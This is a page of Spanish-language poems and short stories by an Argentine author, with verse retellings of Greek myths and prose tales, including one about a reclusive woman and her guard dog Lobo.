• haydee
lisset
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  • País: Argentina
 
Prometeo, el más bizarro, Inteligente y osado. Con su talento, ha logrado, moldear un hombre  del barro. Roba el fuego de los dioses y a su obra, vida,  le endosa. Esa acción tan temeraria,  puede ser el acabóse. Con aviesas intenciones, Zeus, le cede a Pandora, para ser Dueña y Señora  del corazón del Titán. Prometeo, receloso, sin dudarlo, la rechaza, Epimeteo, gozoso, la acepta, aún con la “ Caja.”   De allí, en frenética danza, los males, salen al mundo, sólo queda, en lo  profundo, como una luz, La Esperanza. Al Cáucaso, es deportado, el autor del magno agravio, a una roca, encadenado, por una águila, devorado, su hígado, que  crece a diario. Hércules, bravo Titán, del tormento, se conduele, sin dudar y sin rodeos, libra y  salva a Prometeo  de ese castigo brutal.  
Prometeo
Autor: haydee  489 Lecturas
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Cuando me ví solo y comprobé que a nadie tenía que se interesara por mí, decidí interesarme por todos, busqué un sitio apropiado y me senté a esperar.  La gente se acostumbró a verme y al no tener en mi humanidad nada que pudiera llamar la atención, me convertí en parte del paisaje. Los encargados de edificio cambian datos entre ellos, los comerciantes de la zona y los vecinos chismosos. Si llevaran archivos de lo que atesoran, podrían convertirse en valiosos informantes, incluso, ayudarían a resolver casos muy grosos. Me convertí en receptor de datos ya  que por considerarme inocuo, se despachan sin reservas en mi presencia. La esposa del abogado del 9ª A, recibe a sus amantes cuando su marido se ausenta por motivos laborales. También lo hacen la del 5ª C y la del 3ª B, aunque  esta última  sólo recibe mujeres. La vieja del 4ª A  ha recibido varias denuncias por albergar en su depto. gatos y perros callejeros. Fui testigo, una mañana cuando entró con un envoltorio de al menos tres gatos pequeños, cuando intentó buscar las llaves dejó caer  uno al suelo que maulló lastimeramente, lo levantó y echó una mirada alrededor, no le preocupó mi presencia, ni siquiera reparó en mi. Eso confirma mi creencia de que me he vuelto parte del paisaje. Cecilia, una jovencita muy agradable, a la que veo muy seguido, cuando va y vuelve de trabajar, cuando va de compras ó sale a correr con equipo deportivo, hoy a mediodía,  llegó acompañada por un hombre que la ceñía por el talle. Para mi entender, demasiado y no se la veía feliz, la noté rígida, como presionada. Demoró en abrir la puerta, él le arrebató las llaves, empujándola violentamente hacia adentro. Se lo dije al encargado que salió en busca de ayuda. Al momento, la cuadra se pobló de gente desconocida, algunos uniformados. Sorprendieron al tipo con las manos en la masa, es decir sobre el cuerpo de la chica. Intentaba violarla. Lo cagaron a golpes, lo que me pareció buenísimo, que vengan a decirme algo los de Derechos. Después lo bajaron a puntapiés. A la pobre víctima la sacaron  en camilla, muy golpeada, casi inconciente. Al pasar a mi lado, sólo yo lo vi, me dedicó algo así como una sonrisa desfalleciente, enseguida sus párpados se cerraron. Reconoció que era yo quien la había ayudado. Pasó ya una semana del intento de violación. Cecilia se irá a vivir con el novio que trabaja en la misma empresa y vive en Almagro. Vino a despedirse, tenía puesto un vestido de color lavanda. Me regaló un libro de G. Márquez. El novio la esperaba, también se acercó a agradecerme. Voy a extrañarla. Me acostumbré a sus rutinas. También al leve perfume que de ella emana, el de su juventud. A partir de hoy, jueves tendremos custodia policial  en la cuadra. Es por las amenazas de muerte que le hicieron al fiscal que vive en el 12 A.  Desde que su hijo mayor murió por sobredosis, puso toda su energía en combatir a los narcos. Comentan que tiene pruebas  como para arrastrar a varios encumbrados políticos que hacen la vista gorda y además de enriquecerse, costean sus campañas con los extras. Se ha metido en un berenjenal, pero está decidido a llegar hasta las últimas consecuencias. Ayer balearon su auto, él se salvó de milagro pero no la mujer que conducía otro y  en una maniobra para adelantársele, recibió los cuatro tiros que le estaban destinados. Hay dos uniformados y otros que andan de civil, como los rotan ya no se quién es quién. Por ahora, sigo mimetizándome con el paisaje y acopiando información y si es necesario, colaboraré con mi granito de arena  para ayudar a quien lo necesite.
Receptor de Datos
Autor: haydee  344 Lecturas
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Ayer fui testigo casual de un hecho, que por ser cotidiano, ni altera, ni conmueve. Desde el primer asiento del ómnibus, casi vacío, sábado destemplado, por la tarde, con amplio panorama  al alcance de  mi vista. Una chica, en el cruce de la parada siguiente, fue empujada y cayó al suelo, en medio de la calle, ocasión que aprovechó el infame delincuente para arrebatarla y desaparecer. Atónita le grité al chofer- ¡La asaltaron! Pensé que bocinaría para alertar a quienes estaban más cerca. Nada de eso. Se limitó a un gesto de asentimiento, algo como “ya estoy enterado” La víctima, buscó sus zapatos de tacón  que habían ido a parar   a distintos lugares, hizo un gesto al conductor, que la esperó y  subió maltrecha y  tratando de enjugar lágrimas de impotencia, joven y muy delgada, se refugió en uno de los asientos. Tuve deseos de acercarme y  decirle una palabra de consuelo, pero el ómnibus ya  había completado su pasaje y circulaba veloz, sin tiempo para conmoverse por nada ni por nadie.
Testigo casual
Autor: haydee  334 Lecturas
Nané en su primer día de Jardín   Aunque me duela en el alma, tengo que dejarlo ir se despide con un beso y se aleja tan  feliz. Mezclado entre sus iguales, no se acuerda más de mí y aunque sufra el corazón, sé que debe ser así. Si parece que fue ayer, que en mi vientre retozaba al percibir amorosas caricias, en mis palabras. En el transporte se ubica al lado de la ventana,  me busca en la multitud, se cruzan nuestras miradas… ¡ ríe con tan dulce gozo! Así me tiene atrapada en la red de su cariño, como en una telaraña que me envuelve suave y firme, de amor y seda tramada y es tan grande encantamiento que por nada me soltara.    A medida que se aleja, su manita sonrosada extiende hacia donde estoy  ¡Cómo quisiera besarla, retenerla  entre las mías para que no se me vaya! Magui
  Detrás de mis hijos iba, / ellos eran muy pequeños, o lo soñé  y en mi sueño,/ la imagen se repetía. Los perdí por un momento / un descuido, un desatino, una piedra del camino / que desvió mi pensamiento. Después los volví a encontrar / más ya, como adolescentes. El tiempo, pasó inclemente,/ no lo pude remediar. Veo, hoy, mi rostro angustiado / reflejado en el espejo Los niños de ayer, son hombres / y yo, me veo tan viejo....
Fugaz
Autor: haydee  444 Lecturas
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  Esta mañana, volví de hacer las compras cargada de bolsas. En la puerta de casa, al buscar mis llaves en el bolsillo de la campera, comprobé que no estaban. Un nefasto descosido, permitió que se cayeran sin que me diera cuenta. Me puse a zapatear muy nerviosa.  Al ver que no conseguía nada  con esa actitud, opté por pensar la forma de solucionar el problema. En ese momento, Luisito, un niño de unos nueve años, salió de su casa, cercana a la mía. Lo veo todas las mañanas mientras espera el transporte que lo lleva a la escuela, es algo tímido y retraído pero muy educado y servicial.   Le expliqué la situación y lo que esperaba de él. Es ágil y despierto y no tuve que repetírselo, eso sí, antes, pidió permiso a su abuela, que es con quien vive. Superado el trámite, subió por la verja, se encaramó al techo y después de cruzarlo bajó por la escalera que da a los  fondos de mi vivienda. Entró por la puerta corrediza  de la galería, de allí a la cocina, tomó, del lugar que le indiqué,  el manojo de llaves de repuesto, abrió el postigón del garage  y me las alcanzó. Agradecida puse un billete en el bolsillo de su camisa sin escuchar sus protestas ni las de su abuela y les  agradecí efusivamente a ambos.  Satisfecha de haber zafado, sin mayores inconvenientes, acomodé todo y  continué mis labores. Como casi todos los sábados,  esta vez con el pensamiento en un destinatario especial, preparé bizcochuelo. A la tarde, llego hasta su casa. La abuela sale a recibirme.  –Para que lo comparta con su nieto y  lo dejo, aún tibio, en sus manos. ¡Es un buen chico!  –Sí, muchas gracias, contesta, ahora no está, fue a visitar a su mamá. -Ah, respondo, como vive con usted, pensé que era huérfano. -No, tiene madre y padre. Se separaron cuando él era un bebé.  Cada uno vive con su nueva pareja, pero como tienen otros hijos, lo dejaron para que me hiciera cargo y se olvidaron del chico. -¡Pobre Luis! ¡Qué difícil situación para un niño sensible, como él! -¡Realmente!. Mi difunto marido fue el único padre que conoció. Era carpintero. Esa cuna, el caballito, la hamaca, la sillita, los rompecabezas, todo lo hizo para él. Quería de algún modo, compensar su carencia. ¡Sufrió tanto la indiferencia y el abandono del que fue víctima su nieto!. Me hizo jurar, antes de morir, prohibirle la entrada de esta casa a Matilde, la mamá  de Luis y nuestra única hija. Al comprender que estaba próximo su fin, no quiso verla, ni siquiera la perdonó. ¡Era la niña de sus ojos, sin embargo la maldijo! ¡Ahora ella sabe bien lo que significa eso! ¡Jamás podrá  tener tranquilidad ni ser feliz! La confesión de la anciana, me sacude, no se qué decir para consolarla, el rostro curtido,   se humedece de amargas y contenidas lágrimas. -Es difícil comprender los motivos que llevan a las personas a desconocer sus obligaciones. Estoy convencida de que la falta de responsabilidad es la causa y el mayor de los males que sufrimos. Si cada uno se hiciera cargo de lo que le corresponde, todo cambiaría para bien. -También yo lo creo, responde,  pero desgraciadamente no es así, por eso hay tantos pobres chicos abandonados, olvidados y resentidos. Siempre lo hablábamos con mi marido. -Quería lo mejor para el nieto, puso sus ahorros, esta casa, la carpintería y dos propiedades más, a su nombre. Él no lo sabe, pero tiene su futuro asegurado, podrá estudiar, cuando llegue el momento la carrera que elija, sin apremios ni preocupaciones. Eso en el aspecto económico, el afectivo lejos está de resolverse, tratamos de darle amor y comprensión, pero no es sencillo ni suficiente reemplazar  el cariño y la contención que debió recibir de sus padres. Termino el café que me ofreció y me levanto para despedirme. La señora está más serena. Luisito viene hacia  nosotras por el pasillo, los ojos gratamente sorprendidos al verme en su casa. Pregunta con cierta picardía: - ¿Perdió de nuevo las llaves? -Una vez, pase, Luisito... contesto sonriendo. Su olfato detecta el bizcochuelo y  se precipita tomando una generosa porción  que cortó su abuela. La devora y se sirve otra. - ¡Estás hambriento! ¿No almorzaste en lo de tu mamá?  El rostro del niño se contrae, se enturbia su mirada. Sin poderlo evitar, ahoga un sollozo. -¡No voy a volver allá, abuela, no quiero ir más!. -Pero querido, ¿qué pasó? ¡Toda la semana pensando en ir a visitarlos! -¡Esta mañana saliste tan contento! ¿Qué es lo que pasó? -Nada abuela, nada.... -Bueno, digo, los dejo para que hablen tranquilos. -¡Quédese, señora, quédese!, me ruega el niño. -Está bien, me quedo, pero ¿qué ha sucedido para ponerte así? -Cuando llegué, ya habían terminado de comer, aunque era temprano. En la mesa había una fuente con milanesas  y algo de puré. Me senté, mamá me acercó un plato y cuando fue a buscar los cubiertos, su marido levantó la fuente y se la dio al perro. Ella dejó caer  el tenedor y el cuchillo, se puso blanca, como el papel, pero no dijo nada, después que el perro terminó de comer, él se llevó a los chicos en el auto, sin despedirse. Mamá se puso a llorar, me pidió que no vaya más. Dijo que él se enfurece de sólo verme y que soy el causante de su desdicha. Estuve caminando por cualquier lado, sin saber a dónde iba, con un dolor muy fuerte acá, dice poniendo su mano sobre el corazón. La abuela, conmovida, no encuentra palabras para darle consuelo, lo envuelve en un abrazo protector. Trato de fingir despreocupación, aunque estoy lejos de sentirla. -¡Luisito, eres una dulzura, jamás podrías ser la desdicha de nadie, todo lo contrario!  ¡Se me ocurre una idea! ¡Mañana van a ser mis invitados! A ver ¿Qué les gusta más carne asada ó pasta? Les advierto que nadie prepara la lasaña como yo. Bueno, lasaña con salsa de estofado ¿Y de postre helado de vainilla y chocolate? ¿Está bien? Después podemos ir al cine  ó si está lindo como hoy, al parque. ¡Hay unos espectáculos fabulosos, títeres, música, teatro al aire libre y el Super Park.! ¡Mañana en mi casa, a la una, después decidimos cómo disfrutar el domingo!   Me acompañan hasta la puerta, la abuela, sonríe entre lágrimas y Luisito, ¡mi pobre Luisito!, me abraza fuerte y me deja un beso húmedo en la mejilla.  Sábado, 29 de Septiembre de 2007
¡Pobre Luisito!
Autor: haydee  475 Lecturas
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Psique y Eros, son amantes. En esa ideal relación, prohibió él, que vea su rostro, condición, que ella, aceptó. La visita  por las noches.  Ella, una vez despertó y a pesar de su promesa, la tentación, la venció. Eros, descubre, iracundo, con certera precisión, una gota de la cera que de la vela cayó en su rostro adormecido cuando ella lo iluminó. Presa de una furia loca, la somete a un cruel castigo. Arrepentida, angustiada, se arrastra por los rincones Se acabaron los encuentros. Ella ha desobedecido. . Afrodita, a este conflicto, busca darle soluciones. La somete a duras pruebas que bien, logra superar Le concede, entre otros dones, el de la inmortalidad.. Eros, aplaca su enojo y recupera su amor. Ahora puede mirarle, Terminó la prohibición. Psique y Eros, inmortales unidos en la pasión.  
Psique y Eros
Autor: haydee  385 Lecturas
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  Muy seguro de  triunfar, Va con su flauta, Marsías, Imprudente, en su arrogancia, A Apolo, lo desafía. El dios del Sol, con su lira, acepta el reto y afina.El aire, a su alrededor, se convierte en melodía. Los jueces fallan, Apolo, en ese arte descuella. Marsías baja la testa, cometió un fatal error, no hay piedad y no hay perdón,  el ganador, lo degüella.   
Marsías y Apolo
Autor: haydee  436 Lecturas
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    Para agradar a los dioses, libera su cruel instinto, Al inocente hijo, mata y lo ofrece en el Olimpo. Tántalo, la ira provoca, con su macabro presente de los dioses y por ellos, es condenado, a sufrir eternamente. En medio del ancho río, agua no podrá beber, De los frutos, abundantes,  tampoco podrá comer. Es el eterno suplicio, castigo sin compasión. No la tuvo él de su hijo y  de él, no la tiene  el Dios.       
El suplicio de Tántalo
Autor: haydee  520 Lecturas
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 En las arenas del circo, donde la muerte es función,espera a Androcles, hambriento, un magnífico león.Sereno, lo enfrenta, Androcles, sin demostrarle temor,La fiera, se echa a sus plantas, algo así, nunca  ocurrió. Desde el gentío asombrado,se eleva un sordo clamor.Androcles alta la testa, le habla al Emperador:-"En Africa, lo hallé herido, mis cuidados, le brindé,lo acompañé en su guarida y fue el amigo más fiel "- Androcles, puedes marcharte. ¡te concedo mi perdón!Hoy es tu día de suerte, ve con tu amigo  león.  Haydée
Androcles y el león
Autor: haydee  645 Lecturas
¡Pobre Niobe, hija de Tántalo!¡La perdió su orgullo necio!Ufanada  de sus hijosdeberá pagar un precio.Latona, se siente herida,sus hijos, toman venganza,arrasan a los de Niobey a todas sus esperanzas. ¡Pobre Niobe, hija de Tántalo!¡La perdió su orgullo necio!Tan ufana de sus hijos,ha pagado un alto precio.¡Pobre Niobe,como loca, de tanto y tanto llorar!Los dioses la vuelven rocapara que no llore más.  
Niobe
Autor: haydee  358 Lecturas
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En Grecia, bella hechicera, de Ulises, se enamoróPor retenerlo con ellaa sus marinos trocó.En cerditos muy graciosos a todos los convirtió. Ulises, sagaz y astuto,de  sus artes, se valió. Consiguió engañar a Circe,Recuperó a sus marinos poniendo proa hacia el norteva en busca de su destino.
Circe
Autor: haydee  356 Lecturas
  La situación de inseguridad, ha llegado a un punto crucial. Las  noticias que circulan  sobre robos, saqueos y asaltos, cambian mi vida de serenidad apacible, en otra de inquietud y zozobras. La casa que habito, en medio de las sierras chicas, rodeada de cerros y abundante follaje, se levanta sobre un terreno difícil de controlar por lo extenso y accidentado. Años atrás, reunía todas las condiciones que me indujeron a convertirla en  una vivienda  confortable y permanente. Aquí, encontré la deseada  armonía y la tranquilidad para escribir, pintar, modelar y dedicarme a esas y a otras actividades más rústicas pero necesarias para sobrevivir. El difícil acceso fue un detalle importante que decidió mi elección. Actualmente, veo caras desconocidas y he sorprendido algunas fisgoneando por los alrededores. Camino al pueblo a proveerme de comestibles, pienso obsesivamente en el modo de  protegerme  y mantener mi privacidad. Vivo sola, por elección  y  por primera vez,  siento la necesidad de buscar ayuda. Una idea ronda mi pensamiento, se me ocurrió anoche, cuando mi oído, muy ejercitado ahora para reconocer los sonidos propios del lugar, captó  otros, ajenos. Algo ó  alguien extraño, con su indeseada presencia, alteró, el delicado equilibrio. Hasta pude escuchar a las aves que duermen en los árboles cercanos, inquietas, revolverse en sus nidos. Preocupada, me mantuve despierta, intenté leer el libro que  recibí de mi mejor amigo, como regalo de cumpleaños. No pude concentrarme en la lectura, cerca del amanecer, conseguí dormir. Cuando la  luz del sol  atraviesa mis párpados cerrados, aún con  la pesadez del mal dormir  grabada  en la cara, salto de la cama y me alisto para  caminar un largo trecho. En la veterinaria del pueblo,  consulto con el profesional. Después de escucharme atento, me conduce hasta un galpón.  Sobre un colchón de paja, Lobo, un perro de aspecto salvaje y pelo negro hirsuto nos observa sin  interés aún cuando parece entender que hablamos de él.  -Lo dejó, su amo meses atrás, con una pata destrozada,  además de otras heridas, me advierte.  Ahora está completamente curado, pero no vinieron a buscarlo, Es un animal sano y fuerte. Necesita espacio y  alimento adecuado. Observo sus mandíbulas poderosas y su dentadura completa y  sana, de animal joven, dócilmente,  se somete a las manos  del profesional que lo volvió a la vida. Me impresiona su aspecto feroz. Entre una cantidad de perros que aturden con sus ladridos, acecha silencioso, impone con su sola presencia. Es justamente lo que necesito, un temible guardián de afilados colmillos. El veterinario me previene de la ferocidad del can. El hombre que lo llevó, muy malherido, individuo de aspecto poco recomendable, según sus palabras, provenía del monte. Para sobrevivir, salía  a la caza  de chanchos salvajes, en caso de encontrar algún animal, destrozado,  examinaba con mucha atención los restos y las huellas cercanas. Su fallo era inapelable, si  había sido un puma, no había otro más indicado para combatirlo. Bien lo sabían los ganaderos de la zona  que contrataban sus servicios, sin dudar del resultado. El cazador, tenía en Lobo,  un  aliado invalorable, juntos hacían una dupla sincronizada y perfecta, hasta que  se desgració enfrentando solo, una piara de jabalíes. Esa lucha, desigual, con los temibles chanchos salvajes, lo dejó muy malherido, la providencial llegada  del amo, que se tiró de la montura,  y salió en su defensa con la escopeta escupiendo fuego, espantó a los que sobrevivieron. El hombre, se acercó, al verlo tan malherido, apoyó el caño de su revólver en  la cabeza, justo al medio, donde una línea marrón, divide el hirsuto pelo oscuro. El perro, levantó trabajosamente la testa y lamió la mano  pronta a ejecutarlo. Algo se quebró en lo íntimo de su  ser primitivo  y brutal, que sonó parecido a un sollozo. Cambió de idea, levantó al perro, lo cruzó sobre el lomo del caballo y montó  a la carrera para llegar al pueblo más cercano en busca de ayuda.   - En pago por los servicios, dejó un puñal con artística empuñadura de plata, su bien más preciado, sobre el mostrador y  pidió, con palabras entrecortadas, que no lo dejara sufrir.  Sin esperar respuesta, montó su potro y desapareció por el mismo camino por donde llegó.   Lobo, se recuperó poco a poco de las heridas y la operación en la pierna quebrada, se resolvió satisfactoriamente. Su fuerte contextura  y la naturaleza, hicieron el resto. Añora volver a  su  salvaje vida anterior. Cuando escucha los cascos de un caballo,  yergue las orejas y aguza los sentidos. No es  el que espera, vuelve a dormirse. Acumula reservas de sueño y descanso para cuando sea el momento.   El relato del veterinario, me conmueve y  también me persuade de que es Lobo, lo que necesito para mi protección. A pesar de sus intentos para disuadirme, insisto en llevarlo conmigo. Dentro de un canil grande, lo traslado en una camioneta de alquiler, también llevo  alimentos y enseres. Ya en mi territorio,  sigo las indicaciones recibidas, lo ato con precaución a una larga cadena, próximo a la casa. Le acerco agua  y  algunos huesos con carne. Empieza a comer  sólo cuando me pierdo de vista. Los días siguientes, hago lo mismo y trato de acostumbrarlo a mi presencia, apenas me  ve, gruñe y enseña sus afilados, amenazantes colmillos, sin dar la menor señal de amistad.  Empiezo a desatarlo por las noches, después de cenar, al principio con temor de que escape a buscar a su antiguo amo, pero a la mañana siguiente, lo descubro atravesado ante la puerta de la cocina. La dieta que llevo, muy sana y agradable para mi gusto, consistente en verduras, cereales y frutas me obligó, apenas llegada a este sitio, a desmontar buena parte del terreno, para lograr mi  propia huerta.  Con  la ayuda de  herramientas  dejadas en la casa por  sus antiguos dueños, preparé el suelo. Abundan el mantillo y el estiércol seco, abonos naturales y de excelente calidad.  Planté estacas cada dos metros, y las cubrí con ramas espinudas, abundantes en los alrededores. Crucé hilos entre las estacas de donde cuelgan trozos de tela y  algunos cascabeles que  encontré en una caja. Es, lo puedo asegurar, más efectivo que un espantapájaros.  En el extenso terreno, hay variedad de frutales: manzanos, durazneros, ciruelos, damascos, varias higueras y nogales añosos. Cuando llegué, encontré los árboles bastante descuidados, los podé,  hice injertos, combatí las plagas, enriquecí la tierra y  construí zanjas para proveerlos de  riego. También  hay cítricos, limoneros, naranjos y  pomelos que   exigen un cuidado especial en el invierno, para  sobrevivir a las heladas. El agua dejó de ser un problema desde que instalé un generador, con la bomba la llevo desde el arroyo cercano hasta  un canal de riego,  cuando la necesito. Ya es tiempo de trasplantar los almácigos de  zanahoria, nabos, lechuga, rabanitos y pimientos. Me encanta hacerlo con las manos desnudas, quedan ásperas y doloridas pero siento la tibieza y la energía de la tierra traspasar  la piel y confundirse con mi sangre, después, me  gratifica  con creces que  superan  todos  los esfuerzos y sacrificios. Cada vez que recojo el  fruto en sazón para llevarlo a la boca, estoy cumpliendo un  rito ancestral. Saben de un modo especial, único, siento el orgullo de  haber participado aunque en mínimo grado,  junto a la naturaleza, del repetido milagro. Sólo  atino a  agradecer  por esta venturosa  posibilidad. Ahora, voy más seguido al pueblo a buscar  los huesos y la carne que  lobo devora en silencio, demuestra su preferencia cuando son frescos y sanguinolentos lo que me confirma su dieta viva de cazador. Mi decisión de traerlo, parece acertada, desaparecieron los indeseables, al menos no veo a ninguno por los alrededores. Llega el otoño a la sierra, la estación más bella.  El verde cambia por toda la gama de amarillos y terracotas. Los hermosos fresnos, de  rugosa y oscura corteza, pierden sus hojas de matices diferentes que cubren el suelo como una mágica  y mullida alfombra.  He cosechado manzanas  y los últimos duraznos, los acondiciono en  paja seca  así se conservan intactos hasta que disponga de tiempo  para elaborar exquisitos dulces y mermeladas artesanales. Una parte proveerá mi despensa, el resto será  para  la venta. En la huerta, he sembrado acelga, cebolla y ajo.   Hoy, Lobo recibió la última ración, mañana debo ir al pueblo a buscar  más. Se anuncia el invierno, es necesaria una buena provisión de leña seca.  No es bueno que el frío, muy intenso en estos parajes, nos encuentre desprevenidos.  Todos los días salgo con rústicos guantes de trabajo que protegen mis manos de astillas y espinas.  Acomodo las ramas, que arrastro hasta el cobertizo, sobre una especie de angarilla hecha con  troncos de  siempre verde, separo las delgadas que arden con facilidad, de las gruesas  que demoran más tiempo en consumirse y dan más calor, especiales para alimentar la salamandra que mantiene toda la casa a una  agradable temperatura. Los días en invierno, son muy cortos y hay que saber aprovecharlos. Acostumbro levantarme muy temprano, apenas las primeras luces se insinúan. Después de un sabroso desayuno, empieza  la actividad. ¡Hay tantas cosas para hacer! Si necesito  algo del pueblo, preparo una ayuda memoria, trato de hacerlo una vez por semana, si la compra es importante, me la traen, si es poco, la  cargo en mi bolso, en el viaje se pasa la mañana. Las tardes son más productivas. Preparo el pan, las conservas y mermeladas y  hago una inspección de mi territorio. En el taller de manualidades, tengo la mejor luz natural de toda la casa, una mesa de trabajo, recipientes llenos de lápices y papel para esbozos y dibujos. Un caballete con la tela lista, espera que mi perezosa musa despierte y  de una vez, proceda a avivar mi debilitada inspiración. Tarros con pinceles, cajas con pomos y frascos de pintura, todo en su lugar,  están listos para la ocasión. En una batea, cuidadosamente tapada, descansa la arcilla que bajo la presión de mis manos tomará la forma que mi caprichosa inspiración le dé. Junto a la ventana, el escritorio de mi abuela Delfina, que a su vez, heredó de otra Delfina, que fue su abuela, por lo que deduzco, es una legítima antiguedad. Es de exquisito diseño, una joya que deseé conservar. En una de las esquinas, tiene grabado el nombre de su primera dueña.  Sobre la  pulida madera, incrustada con finos arabescos de metal, escribo relatos y las impresiones que acuden a mi memoria. A veces, acaricio  la brillante superficie e invoco la presencia de mis antepasadas, magníficas mujeres. Creo que están conformes de saber que su descendiente, mantiene los principios inculcados por los mayores. Ahora mi refugio está en orden y deseo que siga así por mucho tiempo.  Ayer, al atardecer me alejé a buscar leños y  vi  a Lobo, desenterrar unas hediondas carroñas. Giró amenazante  al descubrirme. Del hocico babeante colgaba  un jirón de trapo, en el suelo, desparramadas, había una cantidad de setas podridas. Traté de calmar mi  inquietud. Escuché en el pueblo, comentarios sobre la desaparición desde hace una semana  de un sujeto, Ramoncito, no muy normal, que recorre la sierra en busca de hongos comestibles. La casi confirmada sospecha, me decide a ir al pueblo y dar cuenta del macabro hallazgo.  Busco  mi campera, al intentar salir, el perro, que parece adivinar mis intenciones, con  fiero aspecto, gruñe interponiéndose en mi camino. Despacio, retrocedo, entro a la casa y pongo doble cerrojo.   No dormí en toda la noche. Ya amanece, me decido a salir De la tierra, se levanta una bruma que entorpece la visión. Bajo hasta el cobertizo  para buscar unos leños, tarea que debí hacer ayer. Piso un tablón que cede con sordo crujido de madera seca y atrapa mi pie derecho, Las astillas penetran en la carne  desgarrándola.  El dolor que siento se me hace insoportable, creo que además me disloqué el tobillo, no consigo incorporarme. A duras penas, arrastrándome, consigo llegar hasta la puerta, empujo y miro tras de mí. Un reguero de sangre chorrea del miembro herido. Me paraliza el temor, debe ser una arteria. .  Como ascuas en el turbio amanecer, veo los ardientes ojos. Los temibles dientes, como estacas amarillas, acostumbrados a desgarrar y a triturar. Escucho un jadeo y el húmedo y  cálido aliento muy cerca.......   Ya no siento temor...  ni noción del tiempo que pasa... Voy sumergiéndome en esa profunda  laxitud que  anula las sensaciones...  La piadosa inconsciencia   enturbia mi visión.......   La luz naciente se impone sobre las tinieblas, mientras la áspera lengua del perro bebe la vida que se escapa.   Al cuarto día de internación, la  Dra. Pascassi,  que me derivó al sanatorio, donde trabaja  tres días a la semana, llega a saludarme y se interesa, muy gentilmente, por mi estado, Le respondo  con un hilo de voz, que aún me siento débil y dolorida  pero  muy contenta de seguir perteneciendo al mundo de los vivos. Lo que no tengo  claro es cómo llegué hasta aquí. En mi cerebro, quedaron latentes las últimas impresiones que viví antes de ceder, todo  mezclado como en una nebulosa. El dolor, el temor creciente, la sensación de impotencia y finalmente la entrega total y absoluta, los pasos que inexorablemente me conducirían al final. Me sentía deslizar trabajosamente por un terreno desparejo  y mi cuerpo se estremecía anticipándose a cada sacudida. Como acompañamiento de fondo el persistente jadeo de Lobo, que  no me provocaba temor y su lengua, que ya no sentía tan áspera, tratando de restañar la sangre de mis heridas. Traté de pedir ayuda sin conseguirlo, no podía emitir palabra, entonces escuché lejanas voces que se confundían  con los ladridos de Lobo. Allí se bloqueó mi memoria. Era todo lo que podía recordar Sonríe la Dra. y me acerca un vaso de agua que agradezco porque siento seca la garganta. Llega el turno de ella. Acerca una silla,  busca  un  papel  y comienza a leer:         “Ante mí, oficial de turno de la localidad de Agua De Oro, siendo las 08 hrs. del día  26 de junio, del año en curso, se presentan  el Sr. Florentino Bettelo, argentino,  soltero, de 20 años y el Sr, Lucio Acuña arg., soltero de 24 años ambos con domicilio en esta localidad, declaran  que camino a  cumplir sus horarios de trabajo, en las dependencias de la Cooperativa de Agua y Servicios esta madrugada, fueron testigos de un hecho insólito:- Un perro de  pelaje negro, de  fiero aspecto, arrastraba con dificultad una improvisada angarilla construída de ramas. Lo hacía mordiendo la que sobresalía  en el medio, con sus poderosas mandíbulas. De trecho en trecho se detenía para acomodar la carga  empujándola con el hocico. Al percatarse de nuestra presencia, vino hacia nosotros, lo que nos hizo temer por nuestra integridad, pero sólo quería llamar la atención porque ladraba y volvía  a su carga.  Fuimos tras él, siguió ladrando pero sin demostrar agresividad. Pudimos comprobar que trasportaba un ser humano, de sexo femenino, que al parecer, por la impresionante palidez, había fallecido recientemente. El perro no dejaba de ladrar, corría alrededor nuestro y lamía la sangre que  la mujer perdía de una herida en la pierna derecha. La sorpresa nos paralizó y no atinábamos a hacer nada. El Sr. Jorge Díaz, vecino de la zona, que, afortunadamente pasaba por el lugar, detuvo el auto de su propiedad y se ofreció a llevar a la víctima hasta el dispensario del pueblo. El perro, siguió detrás del coche y después que la bajamos, se echó  junto a la puerta del consultorio.”    La Dra. Ana Pascassi, a cargo en ese momento, comprobó que el estado de la paciente era muy comprometido por la cantidad de sangre perdida. Casi no tenía pulso y los signos vitales estaban al límite. Sin demora, tomó los recaudos del caso y con dificultad, logró estabilizarla. Enseguida consiguió una ambulancia para que fuera  trasladada a un sanatorio de la ciudad de Córdoba, donde iniciaría su recuperación. Cuando la ambulancia se perdió de vista, el perro se levantó y  buscó el camino de regreso.   Con los ojos húmedos, acabo de escuchar cada una de las palabras de este informe que Ana leyó. Fueron música para mis oídos y  me hicieron recobrar la confianza  en  los seres que me rodean.   Estoy  de vuelta en casa, felizmente en vías de recuperación, con algunas incapacidades que poco a poco se revertirán. Necesito aclarar una  cuestión con respecto a Lobo. El informe, lo presenta como el héroe de la historia. No es mi intención menoscabar su acción  pero antes de consagrarlo necesito averiguar qué fue de aquel  hombre desaparecido. La Dra. llega en visita profesional, ya la considero una amiga.  Su interés por mi salud, es permanente. Sonríe, dice que tiene una sorpresa para mí.  Sale y regresa  enseguida con una muchacha  de unos veintitantos años. - Ella es Antonia, la presenta, se encarga de mantener mi casa en orden. Es de mi mayor confianza, muy limpia y trabajadora. Sabe tomar la presión, colocar inyecciones y cuidar enfermos, lo aprendió de mí. Se quedará en su casa, mientras la necesite, apenas esté recuperada y pueda valerse por sí misma, volverá conmigo. Estoy feliz de contar con Antonia, siempre atenta, se anticipa a mis necesidades. Estableció una buena relación con Lobo que ni siquiera gruñe cuando se le acerca..  -Hoy, feliz e inesperadamente, se aclaró todo. Le  pregunto a Antonia  por la comida  que prefiere su patrona, porque deseo  invitarla este mediodía. –Pasta, - contesta, -y con una buena salsa. Le recomiendo que disponga de lo necesario.-¿Hay hongos, Señora.?, a la Dra. le encantan, comenta. Mientras pienso dónde guardé los de la última cosecha, sigue  con su parloteo –si no se acuerda, tendremos que pedírselos a  Ramoncito. – ¿Qué dijiste? pregunto  -Ramoncito, es mi tío, es algo retrasado, aclara tocándose la sien, se perdió hace unos meses, busca hongos de pino, siempre lo hace en otoño. Volvía con una bolsa llena cuando le salió un perro enorme que lo quiso devorar....Se asustó tanto que  tiró la bolsa para entretener al perro y echó a correr por el monte, se hizo de noche  y siguió corre que te corre, internándose cada vez más.  La cuestión es que apareció días después todo magullado, rotoso y  lo peor sin los  hongos que le habían encargado. Con su relato, sin saberlo me devuelve la paz. -¡Ahora recuerdo dónde puse los hongos! No tendremos que pedírselos a Ramoncito-digo- ¡A lucirse, Antonia, vamos, que  hay que agasajar a tu patrona!
Lobo
Autor: haydee  431 Lecturas
